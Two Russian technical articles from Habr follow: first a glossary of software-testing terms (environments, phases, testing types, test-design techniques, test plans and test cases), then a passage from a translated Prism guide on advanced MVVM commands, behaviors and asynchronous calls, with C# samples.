* **Под-задача (sub-task)** — часть истории / задачи, которая описывает минимальный объем работы члена команды.
* **Баг (bug)** — задача, которая описывает ошибку в системе.
### **Тестовые среды**
* **Среда разработки (Development Env)** – за данную среду отвечают разработчики, в ней они пишут код, проводят отладку, исправляют ошибки
* **Среда тестирования (Test Env)** – среда, в которой работают тестировщики (проверяют функционал, проводят smoke и регрессионные тесты, воспроизводят.
* **Интеграционная среда (Integration Env)** – среда, в которой проводят тестирование взаимодействующих друг с другом модулей, систем, продуктов.
* **Предпрод (Preprod Env)** – среда, которая максимально приближена к продакшену. Здесь проводится заключительное тестирование функционала.
* **Продакшн среда (Production Env)** – среда, в которой работают пользователи.
### **Основные фазы тестирования**
* **Pre-Alpha:** прототип, в котором всё ещё присутствует много ошибок и наверняка неполный функционал. Необходим для ознакомления с будущими возможностями программ.
* **Alpha:** является ранней версией программного продукта, тестирование которой проводится внутри фирмы-разработчика.
* **Beta:** практически готовый продукт, который разработан в первую очередь для тестирования конечными пользователями.
* **Release Candidate (RC)**: возможные ошибки в каждой из фичей уже устранены и разработчики выпускают версию на которой проводится регрессионное тестирование.
* **Release:** финальная версия программы, которая готова к использованию.
### **Основные виды тестирования ПО**
**Вид тестирования** — это совокупность активностей, направленных на тестирование заданных характеристик системы или её части, основанная на конкретных целях.
[](https://habrastorage.org/webt/uw/-j/ul/uw-juldey34nxrwrf0kdbxztls4.jpeg)
1. **Классификация по запуску кода на исполнение:**
* **Статическое тестирование** — процесс тестирования, который проводится для верификации практически любого артефакта разработки: программного кода компонент, требований, системных спецификаций, функциональных спецификаций, документов проектирования и архитектуры программных систем и их компонентов.
* **Динамическое тестирование** — тестирование проводится на работающей системе, не может быть осуществлено без запуска программного кода приложения.
2. **Классификация по доступу к коду и архитектуре:**
* **Тестирование белого ящика** — метод тестирования ПО, который предполагает полный доступ к коду проекта.
* **Тестирование серого ящика** — метод тестирования ПО, который предполагает частичный доступ к коду проекта (комбинация White Box и Black Box методов).
* **Тестирование чёрного ящика** — метод тестирования ПО, который не предполагает доступа (полного или частичного) к системе. Основывается на работе исключительно с внешним интерфейсом тестируемой системы.
3. **Классификация по уровню детализации приложения:**
* **Модульное тестирование** — проводится для тестирования какого-либо одного логически выделенного и изолированного элемента (модуля) системы в коде. Проводится самими разработчиками, так как предполагает полный доступ к коду.
* **Интеграционное тестирование** — тестирование, направленное на проверку корректности взаимодействия нескольких модулей, объединенных в единое целое.
* **Системное тестирование** — процесс тестирования системы, на котором проводится не только функциональное тестирование, но и оценка характеристик качества системы — ее устойчивости, надежности, безопасности и производительности.
* **Приёмочное тестирование** — проверяет соответствие системы потребностям, требованиям и бизнес-процессам пользователя.
4. **Классификация по степени автоматизации:**
* Ручное тестирование.
* Автоматизированное тестирование.
5. **Классификация по принципам работы с приложением**
* **Позитивное тестирование** — тестирование, при котором используются только корректные данные.
* **Негативное тестирование** — тестирование приложения, при котором используются некорректные данные и выполняются некорректные операции.
6. **Классификация по уровню функционального тестирования:**
* **Дымовое тестирование (smoke test)** — тестирование, выполняемое на новой сборке, с целью подтверждения того, что программное обеспечение стартует и выполняет основные для бизнеса функции.
* **Тестирование критического пути (critical path)** — направлено для проверки функциональности, используемой обычными пользователями во время их повседневной деятельности.
* **Расширенное тестирование (extended)** — направлено на исследование всей заявленной в требованиях функциональности.
7. **Классификация в зависимости от исполнителей:**
* **Альфа-тестирование** — является ранней версией программного продукта. Может выполняться внутри организации-разработчика с возможным частичным привлечением конечных пользователей.
* **Бета-тестирование** — программное обеспечение, выпускаемое для ограниченного количества пользователей. Главная цель — получить отзывы клиентов о продукте и внести соответствующие изменения.
8. **Классификация в зависимости от целей тестирования:**
* **Функциональное тестирование (functional testing)** — направлено на проверку корректности работы функциональности приложения.
* **Нефункциональное тестирование (non-functional testing)** — тестирование атрибутов компонента или системы, не относящихся к функциональности.
1. **Тестирование производительности (performance testing)** — определение стабильности и потребления ресурсов в условиях различных сценариев использования и нагрузок.
2. **Нагрузочное тестирование (load testing)** — определение или сбор показателей производительности и времени отклика программно-технической системы или устройства в ответ на внешний запрос с целью установления соответствия требованиям, предъявляемым к данной системе (устройству).
3. **Тестирование масштабируемости (scalability testing)** — тестирование, которое измеряет производительность сети или системы, когда количество пользовательских запросов увеличивается или уменьшается.
4. **Объёмное тестирование (volume testing)** — это тип тестирования программного обеспечения, которое проводится для тестирования программного приложения с определенным объемом данных.
5. **Стрессовое тестирование (stress testing)** — тип тестирования направленный для проверки, как система обращается с нарастающей нагрузкой (количеством одновременных пользователей).
6. **Инсталляционное тестирование (installation testing)** — тестирование, направленное на проверку успешной установки и настройки, обновления или удаления приложения.
7. **Тестирование интерфейса (GUI/UI testing)** — проверка требований к пользовательскому интерфейсу.
8. **Тестирование удобства использования (usability testing)** — это метод тестирования, направленный на установление степени удобства использования, понятности и привлекательности для пользователей разрабатываемого продукта в контексте заданных условий.
9. **Тестирование локализации (localization testing)** — проверка адаптации программного обеспечения для определенной аудитории в соответствии с ее культурными особенностями.
10. **Тестирование безопасности (security testing)** — это стратегия тестирования, используемая для проверки безопасности системы, а также для анализа рисков, связанных с обеспечением целостного подхода к защите приложения, атак хакеров, вирусов, несанкционированного доступа к конфиденциальным данным.
11. **Тестирование надёжности (reliability testing)** — один из видов нефункционального тестирования ПО, целью которого является проверка работоспособности приложения при длительном тестировании с ожидаемым уровнем нагрузки.
12. **Регрессионное тестирование (regression testing)** — тестирование уже проверенной ранее функциональности после внесения изменений в код приложения, для уверенности в том, что эти изменения не внесли ошибки в областях, которые не подверглись изменениям.
13. **Повторное/подтверждающее тестирование (re-testing/confirmation testing)** — тестирование, во время которого исполняются тестовые сценарии, выявившие ошибки во время последнего запуска, для подтверждения успешности исправления этих ошибок.
**Тест-дизайн** — это этап тестирования ПО, на котором проектируются и создаются тестовые случаи (тест-кейсы).
**Техники тест-дизайна**
Автор книги "[A Practitioner’s Guide to Software Test Design](http://testingbooks.ru/a-practitioners-guide-to-software-test-design/)", Lee Copeland, выделяет следующие техники тест-дизайна:
1. **Тестирование на основе классов эквивалентности (equivalence partitioning)** — это техника, основанная на методе чёрного ящика, при которой мы разделяем функционал (часто диапазон возможных вводимых значений) на группы эквивалентных по своему влиянию на систему значений.
2. **Техника анализа граничных значений (boundary value testing)** — это техника проверки поведения продукта на крайних (граничных) значениях входных данных.
3. **Попарное тестирование (pairwise testing)** — это техника формирования наборов тестовых данных из полного набора входных данных в системе, которая позволяет существенно сократить количество тест-кейсов.
4. **Тестирование на основе состояний и переходов (State-Transition Testing)** — применяется для фиксирования требований и описания дизайна приложения.
5. **Таблицы принятия решений (Decision Table Testing)** — техника тестирования, основанная на методе чёрного ящика, которая применяется для систем со сложной логикой.
6. **Доменный анализ (Domain Analysis Testing)** — это техника основана на разбиении диапазона возможных значений переменной на поддиапазоны, с последующим выбором одного или нескольких значений из каждого домена для тестирования.
7. **Сценарий использования (Use Case Testing)** — Use Case описывает сценарий взаимодействия двух и более участников (как правило — пользователя и системы).
### **Методы тестирования**
[](https://habrastorage.org/webt/b_/np/bl/b_npblhfjf2w32kxtkuwnnft_-g.png)
**Тестирование белого ящика** — метод тестирования ПО, который предполагает, что внутренняя структура/устройство/реализация системы известны тестировщику.
Согласно ISTQB, тестирование белого ящика — это:
* тестирование, основанное на анализе внутренней структуры компонента или системы;
* тест-дизайн, основанный на технике белого ящика — процедура написания или выбора тест-кейсов на основе анализа внутреннего устройства системы или компонента.
* Почему «белый ящик»? Тестируемая программа для тестировщика — прозрачный ящик, содержимое которого он прекрасно видит.
**Тестирование серого ящика** — метод тестирования ПО, который предполагает комбинацию White Box и Black Box подходов. То есть, внутреннее устройство программы нам известно лишь частично.
**Тестирование чёрного ящика** — также известное как тестирование, основанное на спецификации или тестирование поведения — техника тестирования, основанная на работе исключительно с внешними интерфейсами тестируемой системы.
Согласно ISTQB, тестирование черного ящика — это:
* тестирование, как функциональное, так и нефункциональное, не предполагающее знания внутреннего устройства компонента или системы;
* тест-дизайн, основанный на технике черного ящика — процедура написания или выбора тест-кейсов на основе анализа функциональной или нефункциональной спецификации компонента или системы без знания ее внутреннего устройства.
### **Тестовая документация**
**Тест план (Test Plan)** — это документ, который описывает весь объем работ по тестированию, начиная с описания объекта, стратегии, расписания, критериев начала и окончания тестирования, до необходимого в процессе работы оборудования, специальных знаний, а также оценки рисков.
**Тест план должен отвечать на следующие вопросы:**
* Что необходимо протестировать?
* Как будет проводиться тестирование?
* Когда будет проводиться тестирование?
* Критерии начала тестирования.
* Критерии окончания тестирования.
**Основные пункты тест плана:**
1. Идентификатор тест плана (Test plan identifier);
2. Введение (Introduction);
3. Объект тестирования (Test items);
4. Функции, которые будут протестированы (Features to be tested;)
5. Функции, которые не будут протестированы (Features not to be tested);
6. Тестовые подходы (Approach);
7. Критерии прохождения тестирования (Item pass/fail criteria);
8. Критерии приостановления и возобновления тестирования (Suspension criteria and resumption requirements);
9. Результаты тестирования (Test deliverables);
10. Задачи тестирования (Testing tasks);
11. Ресурсы системы (Environmental needs);
12. Обязанности (Responsibilities);
13. Роли и ответственность (Staffing and training needs);
14. Расписание (Schedule);
15. Оценка рисков (Risks and contingencies);
16. Согласования (Approvals).
**Чек-лист (check list)** — это документ, который описывает что должно быть протестировано. Чек-лист может быть абсолютно разного уровня детализации.
Чаще всего чек-лист содержит только действия, без ожидаемого результата. Чек-лист менее формализован.
**Тестовый сценарий (test case)** — это артефакт, описывающий совокупность шагов, конкретных условий и параметров, необходимых для проверки реализации тестируемой функции или её части.
**Атрибуты тест кейса:**
* **Предусловия (PreConditions)** — список действий, которые приводят систему к состоянию пригодному для проведения основной проверки. Либо список условий, выполнение которых говорит о том, что система находится в пригодном для проведения основного теста состояния.
* **Шаги (Steps)** — список действий, переводящих систему из одного состояния в другое, для получения результата, на основании которого можно сделать вывод о удовлетворении реализации, поставленным требованиям.
* **Ожидаемый результат (Expected result)** — что по факту должны получить.
### **Резюме**
Старайтесь понять определения, а не зазубривать. Если хотите узнать больше про тестирование, то можете почитать [Библию QA](https://github.com/VladislavEremeev/QA_bible). А если возникнет вопрос, всегда можете задать его нам в телеграм-канале [@qa\_chillout](https://t.me/qa_chillout). | https://habr.com/ru/post/549054/ | null | ru | null |
# Руководство разработчика Prism — часть 6, продвинутые сценарии MVVM
> **Оглавление**
>
> 1. [Введение](http://habrahabr.ru/post/176851/)
> 2. [Инициализация приложений Prism](http://habrahabr.ru/post/176853/)
> 3. [Управление зависимостями между компонентами](http://habrahabr.ru/post/176861/)
> 4. [Разработка модульных приложений](http://habrahabr.ru/post/176863/)
> 5. [Реализация паттерна MVVM](http://habrahabr.ru/post/176867/)
> 6. [Продвинутые сценарии MVVM](http://habrahabr.ru/post/176869/)
> 7. [Создание пользовательского интерфейса](http://habrahabr.ru/post/176895/)
>
> 1. [Рекомендации по разработке пользовательского интерфейса](http://habrahabr.ru/post/177925/)
> 8. [Навигация](http://habrahabr.ru/post/178009/)
> 1. [Навигация на основе представлений (View-Based Navigation)](http://habrahabr.ru/post/182052/)
> 9. [Взаимодействие между слабо связанными компонентами](http://habrahabr.ru/post/182580/)
>
В предыдущей главе было описано, как создать основные элементы паттерна MVVM, разделив интерфейс пользователя, логику представления и бизнес-логику по отдельным классам (представление, модель представления и модель), реализовать между ними взаимодействие (посредством привязки данных, команд и интерфейсов валидации данных), организовать их создание и настройку.
Реализация паттерна MVVM, используя эти основные элементы, скорее всего, подойдёт под большинство сценариев в вашем приложении. Однако можно встретиться с более сложными сценариями, которые требуют расширения паттерна MVVM, или применения более продвинутых методов. Это, скорее всего, произойдёт, если ваше приложение будет большим или сложным, но с этим можно встретиться и во многих небольших приложениях. Библиотека Prism предоставляет компоненты, которые реализуют многие из этих методов, позволяя вам легко использовать их в ваших приложениях.
Эта глава описывает некоторые сложные сценарии и то, как их поддерживает паттерн MVVM. Следующий раздел показывает, как команды могут быть объединены в цепочки или связаны с дочерними представлениями, а также как они могут быть расширены для поддержки пользовательских требований. Следующие разделы описывают, как обрабатывать асинхронные запросы данных и последующее взаимодействие с пользовательским интерфейсом, а также как обработать запросы взаимодействия между представлением и моделью представления.
Раздел «Продвинутое создание и настройка», даёт представление о том, как создавать и настраивать компоненты при использовании контейнера внедрения зависимости, такого как Unity Application Block (Unity), или Managed Extensibility Framework (MEF). Заключительный раздел описывает, как можно протестировать приложения MVVM, и даёт представление о модульном тестировании классов модели и модели представления, а также о тестировании поведений.
### Команды
Команды дают способ разделить логику реализации команды от её представления в UI. Привязка данных или поведения дают возможность декларативно связывать элементы в представлении с командами, предоставленными моделью представления. В разделе, «Команды» в главе 5, было описано, как команды могут быть реализованы в виде объектов команды, или как методов команды в модели представления, и как они могут быть вызваны элементами управления в представлении: используя поведения, или свойство `Command`, которое есть у некоторых элементов управления.
> **Заметка. Маршрутизируемые команды WPF.**
>
> Hужно отметить, что команды, реализованные как объекты команд, или методы команд в паттерне MVVM несколько отличаются от встроенной реализации WPF команд, названных маршрутизируемыми командами (у Silverlight нет никаких маршрутизируемых реализаций команд). Маршрутизируемые команды WPF передают сообщение о команде через элементы в дереве UI. Поэтому, сообщения направляются вверх или вниз по дереву UI от элемента с фокусом, или к явно указанному целевому элементу. По умолчанию, они не передаются к компонентам за пределами дерева UI, таким как модель представления, связанная с представлением. Однако маршрутизируемые команды WPF могут использовать обработчик, определенный в code-behind представления, чтобы направить вызов команды классу модели представления.
#### Составные команды
Во многих случаях, команда, определенная моделью представления, будет связана с элементами управления в связанном представлении так, чтобы пользователь мог непосредственно вызвать её изнутри представления. Однако, в некоторых случаях, может понадобиться вызвать команды от одной или более моделей представления из элемента управления в родительском представлении.
Например, если ваше приложение позволяет пользователю редактировать разнообразные элементы одновременно, можно позволить пользователю сохранять все элементы, используя единственную команду, представленную кнопкой на панели инструментов. В этом случае, команда *Save All* вызовет каждую из команд `Save`, реализованную экземпляром модели представления каждого элемента, как показано на следующей иллюстрации.
Prism поддерживает такой сценарий через класс `CompositeCommand`.
Класс `CompositeCommand` представляет команду, которая складывается из разнообразных дочерних команд. Когда вызывается составная команда, каждая из её дочерних команд вызывается поочередно. Это полезно в ситуациях, когда вы хотите представить группу команд как единственную команду в UI, или где-то, где вы хотите вызвать несколько команд, как одну логическую команду.
Например, класс `CompositeCommand` используется в *Stock Trader RI*, чтобы реализовать команду `SubmitAllOrders`, представленную кнопкой *Submit All* в buy/sell представлении. Когда пользователь нажимает кнопку *Submit All*, выполняется каждая `SubmitCommand`, определенная buy/sell транзакцией.
Класс `CompositeCommand` обслуживает список дочерних команд (экземпляры `DelegateCommand` ). Метод `Execute` класса `CompositeCommand` просто вызывает метод `Execute` на каждой из дочерних команд поочередно. Метод `CanExecute` так же вызывает метод `CanExecute` каждой дочерней команды, но если какая-либо из дочерних команд не может быть выполнена, метод `CanExecute` возвратит `false`. Другими словами, по умолчанию, `CompositeCommand` может быть выполнен только тогда, когда могут быть выполнены все дочерние команды.
### Регистрация и удаления дочерних команд
Дочерние команды регистрируются или удаляются методами `RegisterCommand` и `UnregisterCommand`. В *Stock Trader RI*, например, команды `Submit` и `Cancel` для каждого buy/sell заказа регистрируются в составных командах `SubmitAllOrders` и `CancelAllOrders`, как показано в следующем примере (см. класс `OrdersController` ).
```
commandProxy.SubmitAllOrdersCommand.RegisterCommand(
orderCompositeViewModel.SubmitCommand);
commandProxy.CancelAllOrdersCommand.RegisterCommand(
orderCompositeViewModel.CancelCommand);
```
> **Заметка**
>
> Предыдущий объект `commandProxy` обеспечивает доступ экземпляра к командам составного объекта `Submit` и `Cancel`, которые определяются статически. Для получения дополнительной информации, смотрите файл `StockTraderRICommands.cs` .
##### Выполнение команд в активных дочерних представлениях
Часто бывает, что ваше приложение должно показать коллекцию дочерних представлений в пределах UI, где у каждого дочернего представления будет соответствующая модель представления, которая, в свою очередь, может реализовать одну или более команд. Составные команды могут использоваться для представления команд, реализованных дочерними представлениями, и могут помочь скоординировать то, как они будут вызываться изнутри родительского представления. Чтобы поддерживать эти сценарии, классы `DelegateCommand` и `CompositeCommand` были разработаны с учётом работы с регионами Prism.
Регионы Prism (описанные в разделе, «Регионы» в Главе 7) дают возможность дочерним представлениям быть связанными с регионами в UI. Они часто используются, чтобы отделить разметку дочерних представлений от их региона и его позиции в UI. Регионы основаны на именованных заполнителях, которые присоединены к определенным элементам управления разметкой. Следующая иллюстрация показывает пример, где каждое дочернее представление было добавлено к региону `EditRegion`, и разработчик UI захотел использовать элемент `TabControl`, чтобы разместить представления в этой области.
Составные команды на родительском уровне представления часто используются, чтобы скоординировать то, как вызываются команды на дочернем уровне представления. В некоторых случаях, вам захочется, чтобы команды для всех показанных представлений выполнялись, как в примере команды *Save All*, описанном ранее. В других случаях вы захотите, чтобы команда была выполнена только на активном представлении. В этом случае, составная команда выполнит дочерние команды только на представлениях, которые являются активными. Например, можно захотеть реализовать команду *Zoom* на панели инструментов, которая заставляет масштабироваться только активный в настоящий момент элемент, как показано в следующей схеме.
Для поддержки этого сценария, Prism предоставляет интерфейс `IActiveAware`. Интерфейс `IActiveAware` определяет свойство `IsActive`, которое возвращает `true`, когда элемент управления активен, и событие `IsActiveChanged`, которое генерируется всякий раз, когда активное состояние изменяется.
Можно реализовать интерфейс `IActiveAware` на дочерних представлениях или моделях представления. Это, прежде всего, используется для того, чтобы отследить активное состояние дочернего представления в области. Является ли представление активным, определяется адаптером области, который контролирует представления в пределах определённого элемента управления областью. К примеру, для элемента `TabControl`, показанного ранее, есть адаптер региона, который устанавливает представление на выбранной в настоящий момент вкладке как активное.
Класс `DelegateCommand` также реализует интерфейс `IActiveAware`. Определяя `true` для параметра `monitorCommandActivity` в конструкторе, `CompositeCommand` может быть сконфигурирован так, чтобы оценить активное состояние дочернего элемента `DelegateCommand` (в дополнение к состоянию `CanExecute` ). Когда эти параметры будут установлены в `true`, класс `CompositeCommand` рассмотрит активное состояние каждого дочернего элемента `DelegateCommand`, определяя возвращаемое значение для метода `CanExecute` и выполняя дочерние команды в пределах метода `Execute`.
Когда параметр `monitorCommandActivity` установлен в `true`, класс `CompositeCommand` показывает следующее поведение:
* `CanExecute`. Возвращает `true` только тогда, когда все активные команды могут быть выполнены. Дочерние команды, являющиеся неактивными, не обрабатывается.
* `Execute`. Выполняет все активные команды. Дочерние команды, которые не активны, не обрабатывается.
Можно использовать эту функциональность, чтобы реализовать пример, описанный ранее. Реализовывая интерфейс `IActiveAware` в ваших дочерних моделях представления, вы будете уведомлены, когда ваше дочернее представление в регионе станет активным или неактивным. Когда активное состояние дочернего представления изменяется, можно обновить активное состояние дочерних команд. Затем, когда пользователь вызывает составную команду `Zoom`, она будет вызвана только на активном дочернем представлении.
#### Привязка команд в пределах коллекций
Другой общий сценарий, с которым вы будете часто встречаться, отображая коллекцию элементов в представлении — когда вы нуждаетесь в UI для каждого элемента в коллекции, который будет связан с командой на родительском уровне представления (вместо уровня элемента).
Например, в приложении, показанном на следующей иллюстрации, представление показывает коллекцию элементов в `ListBox`. Шаблон данных, используемый, чтобы показать каждый элемент, определяет кнопку `Delete`, которая позволяет пользователю удалять отдельные элементы из коллекции.
Поскольку модель представления реализует команду `Delete`, проблема состоит в том, чтобы присоединить кнопку `Delete` в UI для каждого элемента, к команде `Delete`, реализованной моделью представления. Трудность возникает из-за того, что контекст данных для каждого из элементов в `ListBox` ссылается на элемент в коллекции вместо родительской модели представления, которая реализует команду `Delete`.
Один из подходов к решению этой проблемы – привязать кнопку в шаблоне данных к команде в родительском представлении, используя свойство `ElementName` для гарантии, что привязка осуществляется относительно родительского элемента управления, а не относительно шаблона данных. Следующий XAML иллюстрирует этот метод.
```
```
Содержание кнопки в шаблоне данных связано со свойством `Name` элемента в коллекции. Однако команда для кнопки связывается через контекст данных корневого элемента с командой `Delete`. Это позволяет кнопке быть связанной с командой на родительском уровне представления вместо уровня элемента. Можно использовать свойство `CommandParameter`, чтобы задать элемент, к которому будет применена команда, или можно реализовать команду так, чтобы работать с выбранным в настоящий момент элементом (через `CollectionView` ).
#### Поведения с привязкой команд
В Silverlight 3 и более ранних версиях, Silverlight не предоставлял элементы управления, поддерживающие команды. Интерфейс `ICommand` был доступен, но никакие элементы управления не реализовывали свойство `Command`, чтобы позволить им быть привязанными к реализации `ICommand`. Чтобы преодолеть это ограничение и поддержать MVVM паттерн в Silverlight 3, библиотека Prism (версия 2.0) обеспечила механизм, позволяющий любому элементу управления Silverlight быть связанным с объектом команды, используя присоединенное поведение. Этот механизм также работал в WPF, что позволяло реализациям модели представления быть снова и в приложениях Silverlight, и в WPF.
Следующий пример показывает, как в Prism используется присоединённое поведение, чтобы привязать объект команды, определённый на модели представления к событию щелчка кнопки.
В Silverlight 4 добавилась поддержка свойства `Command` во всех унаследованных от `Hyperlink` и `ButtonBase` элементах управления, позволяя им быть привязанными непосредственно к объекту команды таким же образом как в WPF. Использование свойства `Command` для этих элементов управления описывается в разделе "[Commands](http://msdn.microsoft.com/en-us/library/gg405484(v=PandP.40).aspx#Commands)" в главе 5, "[Implementing the MVVM Pattern](http://msdn.microsoft.com/en-us/library/gg405484(v=PandP.40).aspx)". Однако, присоединённое поведение команды остаётся в библиотеке Prism по причинам обратной совместимости и для поддержки разработки пользовательских поведений, как будет описано позже.
Подход с использованием поведения является обычным методом для реализации и инкапсуляции интерактивного поведения и может быть легко применён к элементам управления в представлении. Использование поведений для поддержки команд, как было показано ранее, является только одним из многих сценариев, которые могут поддерживать поведения. Microsoft Expression Blend предоставляет множество поведений, включая `InvokeCommandAction` и `CallMethodAction`, описанные в разделе, «Invoking Command Methods from the View» в главе 5, "[Implementing the MVVM Pattern](http://msdn.microsoft.com/en-us/library/gg405484(v=PandP.40).aspx)", а Expression Blend Behaviors SDK предоставляет возможность разработки пользовательских поведений. С помощью Expression Blend можно легко создавать и редактировать поведения, что делает очень лёгкой задачу добавлений в приложение. Для получения дополнительной информации о разработке пользовательских поведений в Expression Blend, см. "[Creating Custom Behaviors](http://msdn.microsoft.com/en-us/library/ff724708(v=Expression.40).aspx)" на MSDN.
Хотя введение поддерживающих команды элементов управления в Silverlight 4 и Expression Blend Behaviors SDK устраняют большую часть потребности в поведениях Prism, можно найти полезным их компактный синтаксис и реализация, а также их возможность лёгкого расширения.
##### Применение поведений
Поведения команд основаны на паттерне присоединённого поведения. Этот паттерн соединяет события, вызываемые элементами управления, и объекты команд, предоставленных моделью представления. Поведение команды состоит из двух частей: присоединённое свойство и объект поведения. Присоединённое свойство устанавливает отношения между целевым элементом управления и объектом поведения. Объект поведения контролирует целевой элемент управления и возбуждает события, основанные на событиях или изменениях состояния в элементе управления или в модели представления.
Команды, инициируемые при событии `Click` в `ButtonBase` -элементах управления, предоставляет класс `ButtonBaseClickCommandBehavior`. Следующая иллюстрация показывает отношения между `ButtonBase`, `ButtonBaseClickCommandBehavior`, и объектом `ICommand`, предоставленным моделью представления.
Ваше приложение, возможно, должно будет вызвать команды не только при событии `Click` из `ButtonBase`, или, возможно, нужно будет настроить то, как поведение взаимодействует с целевым элементом управления или моделью представления, с которой оно связывается. В этих случаях вы должны будете определить свою собственную присоединённую реализацию свойства и/или поведения.
Библиотека Prism предоставляет класс ``CommandBehaviorBase , чтобы облегчить создание поведения, взаимодействующего с объектами ICommand` . Этот класс вызывает команду и наблюдает за изменениями в событии `CanExecuteChanged` команды, и может использоваться для расширения поддержки команд как в Silverlight, так и в WPF.
Чтобы создать пользовательское поведение, создайте класс, унаследованный от ``CommandBehaviorBase и укажите элемент управления, который вы хотите контролировать. Параметр типа для этого класса определяет тип элемента управления, к которому может быть присоединено поведение. В конструкторе класса можно подписаться на события элемента управления, которых вы хотите отслеживать. Следующий пример показывает реализацию класса ButtonBaseClickCommandBehavior` .
```
public class ButtonBaseClickCommandBehavior : CommandBehaviorBase {
public ButtonBaseClickCommandBehavior(ButtonBase clickableObject) : base(clickableObject) {
clickableObject.Click += OnClick;
}
private void OnClick(object sender, System.Windows.RoutedEventArgs e) {
ExecuteCommand();
}
}
```
Используя класс ``CommandBehaviorBase , можно определить пользовательские классы поведений. Это позволит вам настраивать то, как поведение будет взаимодействовать с целевым элементом управления или командой, предоставленной моделью представления. Например, вы можете создать поведение, которое вызывает связанную команду, основанную на различных событиях элемента управления, или, основываясь на состоянии CanExecute` связанной команды, изменяет визуальное состояние элемента управления.
Чтобы поддерживать декларативное присоединение поведения команды к целевому элементу управления, используется присоединённое свойство. Присоединённое свойство позволяет поведению быть присоединённым к элементу управления в XAML. Оно управляет созданием и ассоциацией реализации поведения с целевым элементом управления. Присоединённое свойство определяется в пределах статического класса. В Prism поведения команд основаны на том соглашении, что имя статического класса отсылает к событию, которое используется, чтобы вызвать команду. Имя присоединённого свойства указывает на тип объекта, к которому привязываются данные. Поэтому, поведение, приведённое раннее, использовал статический класс под названием `Click` , который определяет присоединённое свойство под названием `Command` . Это позволяет использование `Click.Command` синтаксис, показанный ранее.
Объект поведения команды фактически также связывается с целевым элементом управления через присоединённое свойство. Однако это присоединённое свойство является приватным в статическом классе и не видно разработчику.
```
public static readonly DependencyProperty CommandProperty =
DependencyProperty.RegisterAttached(
"Command",
typeof(ICommand),
typeof(Click),
new PropertyMetadata(OnSetCommandCallback));
private static readonly DependencyProperty ClickCommandBehaviorProperty =
DependencyProperty.RegisterAttached(
"ClickCommandBehavior",
typeof(ButtonBaseClickCommandBehavior),
typeof(Click),
null);
```
Реализация присоединённого свойства `Command` создаёт экземпляр класса `ButtonBaseClickCommandBehavior` , через метод обратного вызова `OnSetCommandCallback` , как показано в следующем примере.
```
private static void OnSetCommandCallback(DependencyObject dependencyObject,
DependencyPropertyChangedEventArgs e) {
ButtonBase buttonBase = dependencyObject as ButtonBase;
if (buttonBase != null) {
ButtonBaseClickCommandBehavior behavior = GetOrCreateBehavior(buttonBase);
behavior.Command = e.NewValue as ICommand;
}
}
private static void OnSetCommandParameterCallback(DependencyObject dependencyObject, DependencyPropertyChangedEventArgs e) {
ButtonBase buttonBase = dependencyObject as ButtonBase;
if (buttonBase != null) {
ButtonBaseClickCommandBehavior behavior = GetOrCreateBehavior(buttonBase);
behavior.CommandParameter = e.NewValue;
}
}
private static ButtonBaseClickCommandBehavior GetOrCreateBehavior(ButtonBase buttonBase ) {
ButtonBaseClickCommandBehavior behavior =
buttonBase.GetValue(ClickCommandBehaviorProperty) as ButtonBaseClickCommandBehavior;
if ( behavior == null ) {
behavior = new ButtonBaseClickCommandBehavior(buttonBase);
buttonBase.SetValue(ClickCommandBehaviorProperty, behavior);
}
return behavior;
}
```
Для получения более подробной информации о присоединяемых свойствах, смотрите [Attached Properties Overview](http://msdn.microsoft.com/en-us/library/cc265152(VS.95).aspx) на MSDN.
### Обработка асинхронных взаимодействий
Ваша модель представления часто должна будет взаимодействовать со службами и компонентами внутри приложения асинхронно. Особенно, если вы создаёте приложение Silverlight, или взаимодействуете с веб-сервисами, или другими ресурсами по сети, или если приложение выполняет фоновые вычисления, или обращение к файловой системе. Выполнение этих операций асинхронно гарантирует, что ваше приложение останется отзывчивым для пользователя.
Когда пользователь инициирует асинхронный запрос или фоновую задачу, трудно предсказать время (или успешность) их выполнения, и то, какой поток возвратит ответ первым. Поскольку UI может быть обновлён только в собственном потоке, вам будет необходимо частое его обновление используя диспетчеризацию запроса на потоке UI.
#### Получение данных и взаимодействие с веб-сервисами
Взаимодействуя с веб-сервисами или другими технологиями удалённого доступа, вы будете часто встречаться с паттерном `IAsyncResult` . В этом паттерне, вместо того, чтобы вызвать метод, например `GetQuestionnaire` , используется пара методов: `BeginGetQuestionnaire` и `EndGetQuestionnaire` . Чтобы инициировать асинхронный запрос, вы вызываете `BeginGetQuestionnaire` . Чтобы получить результаты или определить, было ли исключение, вы вызываете `EndGetQuestionnaire` при окончании выполнения задачи.
> **Заметка**
>
> В .NET Framework 4.5 были добавлены новые ключевые слова `await` и `async` и новый паттерн взаимодействия `*Async` . Подробнее можно почитать в статье ["Asynchronous Programming with Async and Await (C# and Visual Basic)"](http://msdn.microsoft.com/en-us/library/vstudio/hh391443.aspx).
Чтобы определить, когда необходимо вызвать `EndGetQuestionnaire` , можно сделать запрос относительно завершения задачи, или (предпочтительно) задать обратный вызов при вызове `BeginGetQuestionnaire` . При подходе с обратным вызовом, он будет вызван при завершении задачи, позволяя вызвать `EndGetQuestionnaire` оттуда, как показано ниже.
```
IAsyncResult asyncResult = this.service.BeginGetQuestionnaire(
GetQuestionnaireCompleted,
null // Объект состояния, не используется в данном примере
);
private void GetQuestionnaireCompleted(IAsyncResult result) {
try {
questionnaire = this.service.EndGetQuestionnaire(ar);
}
catch (Exception ex) {
// Сделать что-то для обработки ошибки.
}
}
```
Важно отметить, что при вызове метода `End*` (в данном случае, `EndGetQuestionnaire` ), будут вброшены любые исключения, которые произошли во время выполнения запроса. Ваше приложение должно обработать их и, возможно, сообщить о них ориентированным на многопоточное исполнение способом через UI. Если вы не обработаете их, то поток завершится, и вы будете не в состоянии обработать результаты.
Поскольку ответ обычно не находится на потоке UI, если вы планируете изменять что-то, что будет влиять на состояние UI, то вы должны будете диспетчеризировать ответ в поток UI, используя или `Dispatcher` потока или объекты `SynchronizationContext` . В WPF и Silverlight, обычно используются `Dispatcher` .
В следующем примере кода объект `Questionnaire` возвращается асинхронно, и затем устанавливается как контекст данных для `QuestionnaireView` . В Silverlight можно использовать метод `CheckAccess` диспетчера, чтобы определить, находитесь ли вы в потоке UI. Если нет, то необходимо использовать метод `BeginInvoke` , чтобы выполнить запрос в потоке UI.
```
var dispatcher = System.Windows.Deployment.Current.Dispatcher;
if (dispatcher.CheckAccess()) {
QuestionnaireView.DataContext = questionnaire;
}
else {
dispatcher.BeginInvoke(() => { Questionnaire.DataContext = questionnaire; });
}
```
